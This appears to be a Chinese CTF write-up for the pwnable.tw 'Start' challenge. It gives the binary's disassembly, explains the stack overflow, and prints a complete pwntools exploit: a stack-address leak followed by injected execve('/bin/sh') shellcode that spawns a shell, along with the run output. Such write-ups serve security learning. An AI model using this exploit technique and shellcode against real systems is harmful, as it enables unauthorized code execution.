题目描述
Start [100 pts]
Just a start.
nc chall.pwnable.tw 10000
start
First Blood: sces60107
Solved 1022 times.
题目解析
❯ file start
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
[root@pwn] ~/1-curr-contest/pwnable-tw/start
❯ checksec start
[*] '/home/aqs/1-curr-contest/pwnable-tw/start/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
32 位的程序,保护全关
objdump 看一下,可以知道程序是直接使用汇编写成的
❯ ./start
Let's start the CTF:
❯ objdump -d -M intel start
start: 文件格式 elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 54 push esp
8048061: 68 9d 80 04 08 push 0x804809d
8048066: 31 c0 xor eax,eax
8048068: 31 db xor ebx,ebx
804806a: 31 c9 xor ecx,ecx
804806c: 31 d2 xor edx,edx
## Let's start the CTF:
804806e: 68 43 54 46 3a push 0x3a465443
8048073: 68 74 68 65 20 push 0x20656874
8048078: 68 61 72 74 20 push 0x20747261
804807d: 68 73 20 73 74 push 0x74732073
8048082: 68 4c 65 74 27 push 0x2774654c
8048087: 89 e1 mov ecx,esp
8048089: b2 14 mov dl,0x14
804808b: b3 01 mov bl,0x1
804808d: b0 04 mov al,0x4 # SYS_write
804808f: cd 80 int 0x80
8048091: 31 db xor ebx,ebx
8048093: b2 3c mov dl,0x3c
8048095: b0 03 mov al,0x3 # SYS_read
8048097: cd 80 int 0x80
8048099: 83 c4 14 add esp,0x14
804809c: c3 ret
0804809d <_exit>:
804809d: 5c pop esp
804809e: 31 c0 xor eax,eax
80480a0: 40 inc eax
80480a1: cd 80 int 0x80
程序很小,基本操作是
- exit 压栈
- write 字符串 "Let's start the CTF:"
- 向 esp 位置read 0x3c 大小的串
syscall_i386
这里可以发现 最后 ret 返回的时候 esp 和 exit 的距离只有 0x14 大小
而却可以读入 0x3c 大小的数据,所以有一个栈溢出,因为没有开NX
所以只要泄露一下 栈地址,写个shellcode 跳过去即可
exp 如下
from pwn import *
p=process("./start")
# p = remote("chall.pwnable.tw",10000)
offset=20
# 返回值设为 8048087: mov ecx,esp
# 这样 write 的时候就可以泄露出 栈的地址
payload="a"*offset
payload+=p32(0x8048087)# mov ecx,esp
print p.recvuntil(":")
p.send(payload)
data=p.recv()
stack_leak=u32(data[:4])
p.info(hex(stack_leak))
context.arch='i386'
shellcode='''
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
mov al,0xb
int 0x80
'''
shellcode=asm(shellcode)
print disasm(shellcode)
# 这次跳到 shellcode 的起始位置即可
payload='a'*offset
payload+=p32(stack_leak+offset)
payload+=shellcode
p.sendline(payload)
p.interactive()
运行结果如下
❯ python t.py
[+] Starting local process './start': pid 24728
Let's start the CTF:
[*] 0xfff737d0
0: 31 c0 xor eax,eax
2: 50 push eax
3: 68 2f 2f 73 68 push 0x68732f2f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx,esp
f: 31 c9 xor ecx,ecx
11: 31 d2 xor edx,edx
13: b0 0b mov al,0xb
15: cd 80 int 0x80
[*] Switching to interactive mode
$
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)